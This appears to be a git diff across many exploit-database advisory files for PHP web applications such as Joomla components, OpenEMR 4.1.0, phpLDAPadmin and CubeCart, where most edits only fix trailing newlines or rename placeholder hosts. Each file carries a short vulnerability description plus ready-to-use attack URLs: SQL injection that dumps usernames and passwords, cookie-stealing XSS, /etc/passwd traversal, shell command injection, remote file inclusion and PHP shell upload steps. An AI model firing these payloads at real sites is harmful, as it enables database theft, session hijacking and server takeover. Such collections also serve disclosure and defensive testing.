-http://www.example.com/[path]/wp-content/plugins/yousaytoo-auto-publishing-plugin/yousaytoo.php?submit=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/yousaytoo-auto-publishing-plugin/yousaytoo.php?submit=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36621.txt b/platforms/php/webapps/36621.txt index f8fa71c5b..fb7436488 100755 --- a/platforms/php/webapps/36621.txt +++ b/platforms/php/webapps/36621.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, e glFusion 1.2.2 is vulnerable; other versions may also be affected. http://www.example.com/[path]/profiles.php?sid=-1+UNION+SELECT+1,2,3,4,5,version(),NULL,6-- -http://www.example.com/[path]/article.php?story='1 AND 2=-1 UNION SELECT 1,2,3,4,5,version(),NULL,6-- \ No newline at end of file +http://www.example.com/[path]/article.php?story='1 AND 2=-1 UNION SELECT 1,2,3,4,5,version(),NULL,6-- \ No newline at end of file diff --git a/platforms/php/webapps/36623.txt b/platforms/php/webapps/36623.txt index 020ad0eb9..4292ae7ee 100755 --- a/platforms/php/webapps/36623.txt +++ b/platforms/php/webapps/36623.txt @@ -4,4 +4,4 @@ Ultimate Locator is prone to an SQL-injection vulnerability because it fails to Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/locator/results_list.php?order=id&pageno=2&showsurrounding=1&zip=94102&zipsearch=Go&radius=-50 UNION ALL SELECT 1,2,3,4,5,6,7,group_concat(username,0x3a,password) FROM login-- \ No newline at end of file +http://www.example.com/locator/results_list.php?order=id&pageno=2&showsurrounding=1&zip=94102&zipsearch=Go&radius=-50 UNION ALL SELECT 1,2,3,4,5,6,7,group_concat(username,0x3a,password) FROM login-- \ No newline at end of file diff --git a/platforms/php/webapps/36624.txt b/platforms/php/webapps/36624.txt index 28097eef7..422760697 100755 --- a/platforms/php/webapps/36624.txt +++ b/platforms/php/webapps/36624.txt @@ -4,4 +4,4 @@ The 'com_jesubmit' component for Joomla! is prone to a vulnerability that lets a An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. -http://www.example.com/index.php?option=com_jesubmit&view=jesubmit&Itemid=[id]&lang=en \ No newline at end of file +http://www.example.com/index.php?option=com_jesubmit&view=jesubmit&Itemid=[id]&lang=en \ No newline at end of file diff --git a/platforms/php/webapps/36625.txt b/platforms/php/webapps/36625.txt index c42d4ee81..5daba7096 100755 --- a/platforms/php/webapps/36625.txt +++ b/platforms/php/webapps/36625.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities could allow an attacker to steal cookie-based a OSClass 2.3.3 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?page=search&sCategory[]=0%27%20OR%20%28SELECT%20MID%28version%28%29,1,1% 29%29=5%29%20d%20--%202 \ No newline at end of file +http://www.example.com/index.php?page=search&sCategory[]=0%27%20OR%20%28SELECT%20MID%28version%28%29,1,1% 29%29=5%29%20d%20--%202 \ No newline at end of file diff --git a/platforms/php/webapps/36626.txt b/platforms/php/webapps/36626.txt index 06ffa586d..649b1bbdb 100755 --- a/platforms/php/webapps/36626.txt +++ b/platforms/php/webapps/36626.txt @@ -12,4 +12,4 @@ http://www.example.com/index.php?page=search&sPattern=%3C/title%3E%3Cscript%3Eal http://www.example.com/index.php?page=search&sPriceMax=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E -http://www.example.com/index.php?page=search&sPriceMin=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E \ No newline at end of file +http://www.example.com/index.php?page=search&sPriceMin=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E \ No newline at end of file diff --git a/platforms/php/webapps/36628.txt b/platforms/php/webapps/36628.txt index a749328a4..3e10192d3 100755 --- a/platforms/php/webapps/36628.txt +++ b/platforms/php/webapps/36628.txt @@ -8,4 +8,4 @@ vBadvanced CMPS 3.2.2 is vulnerable; other versions may also be affected. http://www.example.com/vb/includes/vba_cmps_include_bottom.php?pages[pageid]=123&allowview=123&pages[type]=php_file&vba_cusmodid=123&pages[template]=data:;base64,PD9waHAgcGhwaW5mbygpO29iX2VuZF9mbHVzaCgpO2V4aXQ7Pz4= -http://www.example.com/vb/includes/vba_cmps_include_bottom.php?pages[pageid]=123&allowview=123&pages[type]=php_file&vba_cusmodid=123&pages[template]=ftp://user:pass@127.0.0.1/123.txt \ No newline at end of file +http://www.example.com/vb/includes/vba_cmps_include_bottom.php?pages[pageid]=123&allowview=123&pages[type]=php_file&vba_cusmodid=123&pages[template]=ftp://user:pass@127.0.0.1/123.txt \ No newline at end of file diff --git a/platforms/php/webapps/36629.txt b/platforms/php/webapps/36629.txt index daf77f9f4..23d153922 100755 --- a/platforms/php/webapps/36629.txt +++ b/platforms/php/webapps/36629.txt @@ -4,4 +4,4 @@ The 'com_motor' component for Joomla! is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. - http://www.example.com/index.php?option=com_motor&controller=motor&task=edit&cid[0]=[SQL Injection] \ No newline at end of file + http://www.example.com/index.php?option=com_motor&controller=motor&task=edit&cid[0]=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/36631.txt b/platforms/php/webapps/36631.txt index 658aa468a..01b43dfea 100755 --- a/platforms/php/webapps/36631.txt +++ b/platforms/php/webapps/36631.txt @@ -4,4 +4,4 @@ Slideshow Gallery for WordPress is prone to a cross-site scripting vulnerability An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/wp-content/plugins/slideshow-gallery-2/css/gallery-css.php?1=1&resizeimages=Y&width=586&height=586&border='"--></style></script><script>Pwned by brethawk(0x000178)</script> \ No newline at end of file +http://www.example.com/wp-content/plugins/slideshow-gallery-2/css/gallery-css.php?1=1&resizeimages=Y&width=586&height=586&border='"--></style></script><script>Pwned by brethawk(0x000178)</script> \ No newline at end of file diff --git a/platforms/php/webapps/36632.txt b/platforms/php/webapps/36632.txt index dbe752ccc..85c06bb66 100755 --- a/platforms/php/webapps/36632.txt +++ b/platforms/php/webapps/36632.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow xClick Cart versions 1.0.1 and 1.0.2 are affected; other versions may also be vulnerable. -http://www.example.com/pages/cart/webscr.php?cmd=_cart&ew=1&item_name=Scrimshaw+Kit&item_number=SK1&amount=25.00&quantity=1&shipping=&tax=0&shopping_url=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E \ No newline at end of file +http://www.example.com/pages/cart/webscr.php?cmd=_cart&ew=1&item_name=Scrimshaw+Kit&item_number=SK1&amount=25.00&quantity=1&shipping=&tax=0&shopping_url=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E \ No newline at end of file diff --git a/platforms/php/webapps/36634.txt b/platforms/php/webapps/36634.txt index 3c36fde73..b065b0343 100755 --- a/platforms/php/webapps/36634.txt +++ b/platforms/php/webapps/36634.txt @@ -10,4 +10,4 @@ http://www.example.com/index.php?option=com_visa&controller=../../../../../../.. http://www.example.com/index.php?option=com_visa&view=book&id=23' + [SQL Injection] -http:/www.example.com/index.php?option=com_visa&Itemid=35&page=4' + [SQL Injection] \ No newline at end of file +http:/www.example.com/index.php?option=com_visa&Itemid=35&page=4' + [SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/36635.txt b/platforms/php/webapps/36635.txt index 9b8113663..f7fb4e29a 100755 --- a/platforms/php/webapps/36635.txt +++ b/platforms/php/webapps/36635.txt @@ -4,4 +4,4 @@ The 'com_firmy' component for Joomla! is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. - http://www.example.com/index.php?option=com_firmy&task=section_show_set&Id=[SQLinjection] \ No newline at end of file + http://www.example.com/index.php?option=com_firmy&task=section_show_set&Id=[SQLinjection] \ No newline at end of file diff --git a/platforms/php/webapps/36638.txt b/platforms/php/webapps/36638.txt index f49fadc38..8f63ed7bc 100755 --- a/platforms/php/webapps/36638.txt +++ b/platforms/php/webapps/36638.txt @@ -4,4 +4,4 @@ The 'com_crhotels' component for Joomla! is prone to a remote SQL injection vuln A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_crhotels&view=cate&catid=[SQL Injection] \ No newline at end of file +http://www.example.com/index.php?option=com_crhotels&view=cate&catid=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/36639.txt b/platforms/php/webapps/36639.txt index f58a41eed..f9f52ccb7 100755 --- a/platforms/php/webapps/36639.txt +++ b/platforms/php/webapps/36639.txt @@ -4,4 +4,4 @@ The 'com_propertylab' component for Joomla! is prone to a remote SQL injection v A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_propertylab&task=showproperty&id=[SQLinjection] \ No newline at end of file +http://www.example.com/index.php?option=com_propertylab&task=showproperty&id=[SQLinjection] \ No newline at end of file diff --git a/platforms/php/webapps/36641.txt b/platforms/php/webapps/36641.txt index a1104088e..7c5702805 100755 --- a/platforms/php/webapps/36641.txt +++ b/platforms/php/webapps/36641.txt @@ -14,8 +14,8 @@ URL encoded POST input *category* was set to *POC:* -*http://www <http://www>.targetserver -<http://targetserver>/adsearch.php=action=search&buyitnow=y&buyitnowonly=y&category=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/&closed=y&country=Afghanistan&csrftoken=59b61458fbbb4d6d44a4880717a3350a&desc=y&ending=1&go=GO%20%3E%3E&maxprice=1&minprice=1&payment%5b%5d=paypal&seller=1&SortProperty=ends&title=Mr.&type=2&zipcode=94102* +*http://www <http://www>.targetsite.com +<http://targetsite.com>/adsearch.php=action=search&buyitnow=y&buyitnowonly=y&category=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/&closed=y&country=Afghanistan&csrftoken=59b61458fbbb4d6d44a4880717a3350a&desc=y&ending=1&go=GO%20%3E%3E&maxprice=1&minprice=1&payment%5b%5d=paypal&seller=1&SortProperty=ends&title=Mr.&type=2&zipcode=94102* *Done* *+-------------------------------------------------------------------------------------------------------------------------------------+* @@ -35,8 +35,8 @@ The impact depends on the affected web application. POC: -*http://www <http://www>.targetserver -<http://targetserver>/feedback.php?faction=show&id=1%26n903553%3dv972172* +*http://www <http://www>.targetsite.com +<http://targetsite.com>/feedback.php?faction=show&id=1%26n903553%3dv972172* *Done* *+-------------------------------------------------------------------------------------------------------------------------------------+* *There is XSS too but I don't see it useful for anything, so will skip it.* diff --git a/platforms/php/webapps/36642.txt b/platforms/php/webapps/36642.txt index 1d56c8074..cf1392137 100755 --- a/platforms/php/webapps/36642.txt +++ b/platforms/php/webapps/36642.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access http://www.example.com/index.php?option=com_bbs&bid=[SQLi] http://www.example.com/index.php?option=com_bbs&task=list&bid=[SQLi] -http://www.example.com/index.php?option=com_bbs&Itemid=xxx&task=search&search_type=[SQLi] \ No newline at end of file +http://www.example.com/index.php?option=com_bbs&Itemid=xxx&task=search&search_type=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/36643.txt b/platforms/php/webapps/36643.txt index 0a63da6d0..1cb017b3c 100755 --- a/platforms/php/webapps/36643.txt +++ b/platforms/php/webapps/36643.txt @@ -10,4 +10,4 @@ An attacker may leverage these issues to perform spoofing and phishing attacks, 4images 1.7.10 is vulnerable; other versions may also be affected. -http://www.example.com/admin/categories.php?action=addcat&cat_parent_id=1' (SQL Injection) \ No newline at end of file +http://www.example.com/admin/categories.php?action=addcat&cat_parent_id=1' (SQL Injection) \ No newline at end of file diff --git a/platforms/php/webapps/36644.txt b/platforms/php/webapps/36644.txt index c09a28151..2eb0a72f9 100755 --- a/platforms/php/webapps/36644.txt +++ b/platforms/php/webapps/36644.txt @@ -10,4 +10,4 @@ An attacker may leverage these issues to perform spoofing and phishing attacks, 4images 1.7.10 is vulnerable; other versions may also be affected. -http://www.example.com/admin/categories.php?action=addcat&cat_parent_id=1 (XSS) \ No newline at end of file +http://www.example.com/admin/categories.php?action=addcat&cat_parent_id=1 (XSS) \ No newline at end of file diff --git a/platforms/php/webapps/36645.txt b/platforms/php/webapps/36645.txt index 3f24baae8..9f7e402e3 100755 --- a/platforms/php/webapps/36645.txt +++ b/platforms/php/webapps/36645.txt @@ -10,4 +10,4 @@ An attacker may leverage these issues to perform spoofing and phishing attacks, 4images 1.7.10 is vulnerable; other versions may also be affected. -http://www.example.com/admin/index.php?__csrf=931086345abbb83f9a70c87dc4719248& action=login&redirect=http://google.com&loginusername=admin&loginpassword=pass \ No newline at end of file +http://www.example.com/admin/index.php?__csrf=931086345abbb83f9a70c87dc4719248& action=login&redirect=http://google.com&loginusername=admin&loginpassword=pass \ No newline at end of file diff --git a/platforms/php/webapps/36646.txt b/platforms/php/webapps/36646.txt index 07b42f834..709ad3913 100755 --- a/platforms/php/webapps/36646.txt +++ b/platforms/php/webapps/36646.txt @@ -4,4 +4,4 @@ The 'com_cmotour' component for Joomla! is prone to an SQL injection vulnerabili A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?index.php?option=com_cmotour&task=cat&Itemid=xxx&id=[SQL Injection] \ No newline at end of file +http://www.example.com/index.php?index.php?option=com_cmotour&task=cat&Itemid=xxx&id=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/36647.txt b/platforms/php/webapps/36647.txt index 9c6af7a6f..0222a6dce 100755 --- a/platforms/php/webapps/36647.txt +++ b/platforms/php/webapps/36647.txt @@ -4,4 +4,4 @@ Lead Capture is prone to a cross-site scripting vulnerability because it fails t An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/admin/login.php?message=[XSS] \ No newline at end of file +http://www.example.com/admin/login.php?message=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36648.txt b/platforms/php/webapps/36648.txt index cd96844e6..c4350f45f 100755 --- a/platforms/php/webapps/36648.txt +++ b/platforms/php/webapps/36648.txt @@ -6,4 +6,4 @@ A remote attacker can exploit these issues to execute arbitrary shell commands w OpenEMR 4.1.0 is vulnerable; other versions may also be affected. -http://www.example.com/interface/patient_file/encounter/trend_form.php?formname=../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/interface/patient_file/encounter/trend_form.php?formname=../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/36649.txt b/platforms/php/webapps/36649.txt index c8e4979ff..28d27bdd9 100755 --- a/platforms/php/webapps/36649.txt +++ b/platforms/php/webapps/36649.txt @@ -6,4 +6,4 @@ A remote attacker can exploit these issues to execute arbitrary shell commands w OpenEMR 4.1.0 is vulnerable; other versions may also be affected. -http://www.example.com/interface/patient_file/encounter/load_form.php?formname=../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/interface/patient_file/encounter/load_form.php?formname=../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/36650.txt b/platforms/php/webapps/36650.txt index a54bbe06b..55f3843b3 100755 --- a/platforms/php/webapps/36650.txt +++ b/platforms/php/webapps/36650.txt @@ -6,4 +6,4 @@ A remote attacker can exploit these issues to execute arbitrary shell commands w OpenEMR 4.1.0 is vulnerable; other versions may also be affected. -http://www.example.com/contrib/acog/print_form.php?formname=../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/contrib/acog/print_form.php?formname=../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/36651.txt b/platforms/php/webapps/36651.txt index 895d07775..64f932125 100755 --- a/platforms/php/webapps/36651.txt +++ b/platforms/php/webapps/36651.txt @@ -6,4 +6,4 @@ A remote attacker can exploit these issues to execute arbitrary shell commands w OpenEMR 4.1.0 is vulnerable; other versions may also be affected. -http://www.example.com/interface/fax/fax_dispatch.php?file=1%22%20||%20ls%20%3E%20123 \ No newline at end of file +http://www.example.com/interface/fax/fax_dispatch.php?file=1%22%20||%20ls%20%3E%20123 \ No newline at end of file diff --git a/platforms/php/webapps/36654.txt b/platforms/php/webapps/36654.txt index dc40c0d8f..277b0189d 100755 --- a/platforms/php/webapps/36654.txt +++ b/platforms/php/webapps/36654.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow phpLDAPadmin 1.2.2 is affected; other versions may also be vulnerable. http://www.example.com/phpldapadmin/htdocs/cmd.php?cmd=query_engine&server_id=1&query=none&format=list&showresults=na&base=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&scope=sub& -filter=objectClass%3D* display_attrs=cn%2C+sn%2C+uid%2C+postalAddress%2C+telephoneNumber&orderby=&size_limit=50&search=Search \ No newline at end of file +filter=objectClass%3D* display_attrs=cn%2C+sn%2C+uid%2C+postalAddress%2C+telephoneNumber&orderby=&size_limit=50&search=Search \ No newline at end of file diff --git a/platforms/php/webapps/36655.txt b/platforms/php/webapps/36655.txt index 60873e36e..fd6c9a1e7 100755 --- a/platforms/php/webapps/36655.txt +++ b/platforms/php/webapps/36655.txt @@ -8,4 +8,4 @@ phpLDAPadmin 1.2.0.5-2 is affected; other versions may also be vulnerable. https://www.example.com/phpldapadmin/cmd.php?server_id=<script>alert('XSS')</script> -https://www.example.com/phpldapadmin/index.php?server_id=<script>alert('XSS')</script>&redirect=false \ No newline at end of file +https://www.example.com/phpldapadmin/index.php?server_id=<script>alert('XSS')</script>&redirect=false \ No newline at end of file diff --git a/platforms/php/webapps/36658.txt b/platforms/php/webapps/36658.txt index 5ae87567c..3f2aba3c0 100755 --- a/platforms/php/webapps/36658.txt +++ b/platforms/php/webapps/36658.txt @@ -4,4 +4,4 @@ iknSupport is prone to a cross-site scripting vulnerability because it fails to An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/module/kb/search_word/" onmouseover=alert(1) bad=/"/Submit/Search/task/search \ No newline at end of file +http://www.example.com/module/kb/search_word/" onmouseover=alert(1) bad=/"/Submit/Search/task/search \ No newline at end of file diff --git a/platforms/php/webapps/36659.txt b/platforms/php/webapps/36659.txt index 3a9c4d33b..cc0b3831d 100755 --- a/platforms/php/webapps/36659.txt +++ b/platforms/php/webapps/36659.txt @@ -4,4 +4,4 @@ The Currency Converter component for Joomla! is prone to a cross-site scripting An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/path/modules/mod_currencyconverter/includes/convert.php?from=[XSS] \ No newline at end of file +http://www.example.com/path/modules/mod_currencyconverter/includes/convert.php?from=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36660.txt b/platforms/php/webapps/36660.txt index a3cc7eff4..cba4fe85b 100755 --- a/platforms/php/webapps/36660.txt +++ b/platforms/php/webapps/36660.txt @@ -4,4 +4,4 @@ project-open is prone to a cross-site scripting vulnerability because it fails t An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/register/account-closed?message=[arbitrary-JavaScript] \ No newline at end of file +http://www.example.com/register/account-closed?message=[arbitrary-JavaScript] \ No newline at end of file diff --git a/platforms/php/webapps/36661.txt b/platforms/php/webapps/36661.txt index 2ccf4ed2e..7b08d2ce1 100755 --- a/platforms/php/webapps/36661.txt +++ b/platforms/php/webapps/36661.txt @@ -4,4 +4,4 @@ PHP-Fusion is prone to an SQL-injection vulnerability because it fails to suffic Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/weblinks.php?weblink_id=[Sql] \ No newline at end of file +http://www.example.com/weblinks.php?weblink_id=[Sql] \ No newline at end of file diff --git a/platforms/php/webapps/36664.txt b/platforms/php/webapps/36664.txt index 1321bec71..d4d59d81c 100755 --- a/platforms/php/webapps/36664.txt +++ b/platforms/php/webapps/36664.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to view files and execute local scrip Vespa 0.8.6 is vulnerable; other versions may also be affected. - http://www.example.com/[ Path ]/getid3/getid3.php?include=[LFI]%00 \ No newline at end of file + http://www.example.com/[ Path ]/getid3/getid3.php?include=[LFI]%00 \ No newline at end of file diff --git a/platforms/php/webapps/36668.txt b/platforms/php/webapps/36668.txt index a14c30372..9a8f531f0 100755 --- a/platforms/php/webapps/36668.txt +++ b/platforms/php/webapps/36668.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow eFront 3.6.10 is vulnerable; other versions may also be affected. http://www.example.com/communityplusplus/www/administrator.php?ctg=languages&ajax=languagesTable& -limit=200&offset=0&sort=active&order=asc&other=&filter=%22%3E%3Ciframe%20src%3Da%20onload%3Dalert%28%22VulnerabilityLab%22%29%20%3C \ No newline at end of file +limit=200&offset=0&sort=active&order=asc&other=&filter=%22%3E%3Ciframe%20src%3Da%20onload%3Dalert%28%22VulnerabilityLab%22%29%20%3C \ No newline at end of file diff --git a/platforms/php/webapps/3667.txt b/platforms/php/webapps/3667.txt index d5bcf589c..afb1678e6 100755 --- a/platforms/php/webapps/3667.txt +++ b/platforms/php/webapps/3667.txt @@ -19,7 +19,7 @@ require($site_path.'main/forum/class.php'); <<< rfi coded ************************************************************************************** RFI#1: -http://server/path/main/forum/komentar.php?site_path=[SHELL] +http://SITE.com/path/main/forum/komentar.php?site_path=[SHELL] ************************************************************************************** diff --git a/platforms/php/webapps/3668.txt b/platforms/php/webapps/3668.txt index 94323fae9..8f2f65f52 100755 --- a/platforms/php/webapps/3668.txt +++ b/platforms/php/webapps/3668.txt @@ -19,7 +19,7 @@ include($include_path . "style.inc.php"); <<< rfi coded ************************************************************************************** RFI: -http://server/path/include/include_stream.inc.php?include_path=[SHELL] +http://SITE.com/path/include/include_stream.inc.php?include_path=[SHELL] ************************************************************************************** ************************************************************************************** diff --git a/platforms/php/webapps/36683.txt b/platforms/php/webapps/36683.txt index 4958733e2..b738a2ece 100755 --- a/platforms/php/webapps/36683.txt +++ b/platforms/php/webapps/36683.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Dolibarr 3.2.0 Alpha is vulnerable; other versions may also be affected. -http://www.example.com/adherents/fiche.php?rowid=-1%27 \ No newline at end of file +http://www.example.com/adherents/fiche.php?rowid=-1%27 \ No newline at end of file diff --git a/platforms/php/webapps/36685.txt b/platforms/php/webapps/36685.txt index 557678104..193f2fd7f 100755 --- a/platforms/php/webapps/36685.txt +++ b/platforms/php/webapps/36685.txt @@ -7,4 +7,4 @@ A successful exploit may aid in phishing attacks; other attacks are possible. CubeCart 3.0.20 is vulnerable; other versions may also be affected. http://www.example.com/cube/index.php?act=login&redir=Ly95ZWhnLm5ldC8%3D -http://www.example.com/cube/cart.php?act=reg&redir=L2N1YmUvaW5kZXgucGhwP2FjdD1sb2dpbg%3D%3D \ No newline at end of file +http://www.example.com/cube/cart.php?act=reg&redir=L2N1YmUvaW5kZXgucGhwP2FjdD1sb2dpbg%3D%3D \ No newline at end of file diff --git a/platforms/php/webapps/36687.txt b/platforms/php/webapps/36687.txt index 2a7556fc4..a3dd84da8 100755 --- a/platforms/php/webapps/36687.txt +++ b/platforms/php/webapps/36687.txt @@ -6,4 +6,4 @@ A successful exploit may aid in phishing attacks; other attacks are possible. CubeCart 3.0.20 is vulnerable; other versions may also be affected. -http://www.example.com/cube3.0.20/switch.php?r=//yehg.net/&lang=es \ No newline at end of file +http://www.example.com/cube3.0.20/switch.php?r=//yehg.net/&lang=es \ No newline at end of file diff --git a/platforms/php/webapps/3669.txt b/platforms/php/webapps/3669.txt index 849f5c22a..744572f86 100755 --- a/platforms/php/webapps/3669.txt +++ b/platforms/php/webapps/3669.txt @@ -1,4 +1,4 @@ --------------------------------------------------------- + -------------------------------------------------------- php-generics 1.0 Remote File Inclusion Vulnerabilities diff --git a/platforms/php/webapps/36691.txt b/platforms/php/webapps/36691.txt index d37edc80a..ae30d22e8 100755 --- a/platforms/php/webapps/36691.txt +++ b/platforms/php/webapps/36691.txt @@ -23,11 +23,11 @@ and hence vulnerable to arbitrary file upload Uploading PHP shell ================================= Just open uploader.php in plugin directory -http://server/wp-content/plugins/i-dump-iphone-to-wordpress-photo-uploader/uploader.php +http://target.com/wp-content/plugins/i-dump-iphone-to-wordpress-photo-uploader/uploader.php browse your php shell and submit it. after uploading, you will get your shell in uploads directory at following location -http://server/wp-content/uploads/i-dump-uploads/ +http://target.com/wp-content/uploads/i-dump-uploads/ demo:- http://127.0.0.1/wordpress/wp-content/plugins/i-dump-iphone-to-wordpress-photo-uploader/uploader.php diff --git a/platforms/php/webapps/36693.txt b/platforms/php/webapps/36693.txt index 16d8f41d7..796799f9a 100755 --- a/platforms/php/webapps/36693.txt +++ b/platforms/php/webapps/36693.txt @@ -4,4 +4,4 @@ RabbitWiki is prone to a cross-site scripting vulnerability because it fails to An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/webmasters/s/RabbitWiki/index.php?title=%22%3E\%3Cscript%3Ealert%28%22rabbit%20says:hello%22%29%3C/script%3E \ No newline at end of file +http://www.example.com/webmasters/s/RabbitWiki/index.php?title=%22%3E\%3Cscript%3Ealert%28%22rabbit%20says:hello%22%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/36696.txt b/platforms/php/webapps/36696.txt index f71d85b87..8ffef07fd 100755 --- a/platforms/php/webapps/36696.txt +++ b/platforms/php/webapps/36696.txt @@ -4,4 +4,4 @@ Nova CMS is prone to multiple remote file-include vulnerabilities because the ap Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible. -http://www.example.com/novacms/administrator/modules/moduleslist.php?id=[EV!L] \ No newline at end of file +http://www.example.com/novacms/administrator/modules/moduleslist.php?id=[EV!L] \ No newline at end of file diff --git a/platforms/php/webapps/36697.txt b/platforms/php/webapps/36697.txt index 088b72c77..544fad495 100755 --- a/platforms/php/webapps/36697.txt +++ b/platforms/php/webapps/36697.txt @@ -4,4 +4,4 @@ Nova CMS is prone to multiple remote file-include vulnerabilities because the ap Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible. -http://www.example.com/novacms/optimizer/index.php?fileType=[EV!L] \ No newline at end of file +http://www.example.com/novacms/optimizer/index.php?fileType=[EV!L] \ No newline at end of file diff --git a/platforms/php/webapps/36698.txt b/platforms/php/webapps/36698.txt index 152f96a39..d9e59d6be 100755 --- a/platforms/php/webapps/36698.txt +++ b/platforms/php/webapps/36698.txt @@ -4,4 +4,4 @@ Nova CMS is prone to multiple remote file-include vulnerabilities because the ap Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible. -http://www.example.com/novacms/includes/function/gets.php?filename=[EV!L] \ No newline at end of file +http://www.example.com/novacms/includes/function/gets.php?filename=[EV!L] \ No newline at end of file diff --git a/platforms/php/webapps/36699.txt b/platforms/php/webapps/36699.txt index ebe48fcab..519aec50f 100755 --- a/platforms/php/webapps/36699.txt +++ b/platforms/php/webapps/36699.txt @@ -4,4 +4,4 @@ Nova CMS is prone to multiple remote file-include vulnerabilities because the ap Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible. -http://www.example.com/novacms/includes/function/usertpl.php?conf[blockfile]=[EV!L] \ No newline at end of file +http://www.example.com/novacms/includes/function/usertpl.php?conf[blockfile]=[EV!L] \ No newline at end of file diff --git a/platforms/php/webapps/36764.txt b/platforms/php/webapps/36764.txt index fd7f26d69..cc85f3c0e 100755 --- a/platforms/php/webapps/36764.txt +++ b/platforms/php/webapps/36764.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code can run in the context of the affected br SMW+ 1.5.6 is vulnerable; other versions may also be affected. -http://www.example.com/index.php/Special:FormEdit?target=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F&categories=Calendar+ \ No newline at end of file 